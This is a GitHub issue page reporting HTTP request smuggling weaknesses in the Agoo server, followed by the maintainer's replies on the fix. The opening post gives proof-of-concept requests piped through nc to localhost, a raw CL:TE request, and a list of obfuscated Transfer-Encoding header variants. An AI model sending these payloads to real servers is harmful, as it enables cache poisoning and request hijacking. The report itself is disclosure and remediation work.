Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Protect against smuggling attacks #88

Closed
ohler55 opened this issue May 16, 2020 · 3 comments
Closed

Protect against smuggling attacks #88

ohler55 opened this issue May 16, 2020 · 3 comments

Comments

@ohler55
Copy link
Owner

ohler55 commented May 16, 2020

Testbed used to verify the vulnerability: https://github.com/ohler55/agoo#rack
The following requests can be send via command line (tested on ubuntu) to reproduce the behaviour

Double Content Length Headers

printf 'GET /hello HTTP/1.1\r\n'
'Content-Length: 47\r\n'
'Content-Length: 0\r\n'
'Host: 127.0.0.1\r\n'
'\r\n'
'GET /smuggle HTTP/1.1\r\n'
'Host: 127.0.0.1\r\n'
'\r\n' | nc 127.0.0.1 80

Invalid Transfer Encoding Header

printf 'POST / HTTP/1.1\r\n'
'Host:localhost\r\n'
'tRANSFER-ENCODING: chunked\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'\r\n'
'0\r\n'
'\r\n'
| nc 127.0.0.1 80

Agoo allows multiple malformed variations of the Transfer Encoding header

A request with Content Length and malformed Transfer encoding headers that can be sent to a backend server and conduct CL:TE attacks. (https://memn0ps.github.io/2019/09/13/HTTP-Request-Smuggling-CL-TE.html)

POST /hello HTTP/1.1
Host: 127.0.0.1:6464
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding : chunked

0

X

In the above example, the request is sent with the Transfer encoding header having extra spaces (Transfer-Encoding : chunked). This is in violation of RFC 7230. Agoo was also found to allow multiple variations of bad transfer encoding headers including CRLF characters, Fake Transfer encoding etc. (See TE.TE behavior: obfuscating the TE header section: https://portswigger.net/web-security/request-smuggling)

Some other examples that is allowed:

Transfer-Encoding: chunk
Transfer-Encoding: ch–nked
Transfer-Encoding:ÿchunked
Transfer-Encoding:chunked
tRANSFER-ENCODING: chunked
[space here]Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding:chunked
Transfer-Encoding: "chunked"
Transfer-Encoding
: chunked
Transfer-Encoding: chunked

The above is proof of concept which just demonstrates the behaviour. Depending on how Algoo will be used as part of a chain of servers, this could result in a successful request smuggling attack. I am happy to provide more information regarding a successful attack.

Remediation

The best solution to remediate this vulnerability is to do the following:

  • Disallow requests with double content lengths headers
  • Ensure malformed Transfer encoding headers are not allowed. This can be done via rejecting the request and sending a 400 back to the HTTP client
  • As per RFC 7230, (https://tools.ietf.org/html/rfc7230#section-3.3.3) When requests with both Content-Length and Transfer encoding header is sent, the Content-Length header should be ignored

Remediation for the following open source projects can be used as a reference. The above points were taken from that.

• https://github.com/benoitc/gunicorn/issues/2176
• https://github.com/netty/netty/issues/9571
• https://docs.pylonsproject.org/projects/waitress/en/latest/#security-fixes
@ohler55 ohler55 changed the title Protect agains smuggling attacks Protect against smuggling attacks May 16, 2020
@ohler55
Copy link
Owner Author

ohler55 commented Nov 2, 2020

Finally getting to this. After giving it some thought and reviewing the claimed dangers I've found that due to the way Agoo handles headers the described attacks would not cause any unexpected behaviour. That being said, I can see a case where someone might like to see an error returned if a header is not valid even if it does not impact the workings of the server. I'll add an option to validate headers and return an 400 if the headers is not valid.

@ohler55
Copy link
Owner Author

ohler55 commented Nov 8, 2020

Although the Agoo server did not need any changes for it's own purposes a change was made to pass down all values to the application so that multiple occurrences of a header key was passed to the Rack app as an array. That allow the app to determine the validity if needed. Content-Length is now checked for only one occurrence as well.

I believe these changes resolve the issue identified.

@ohler55
Copy link
Owner Author

ohler55 commented Nov 12, 2020

No response. Closing.

@ohler55 ohler55 closed this as completed Nov 12, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant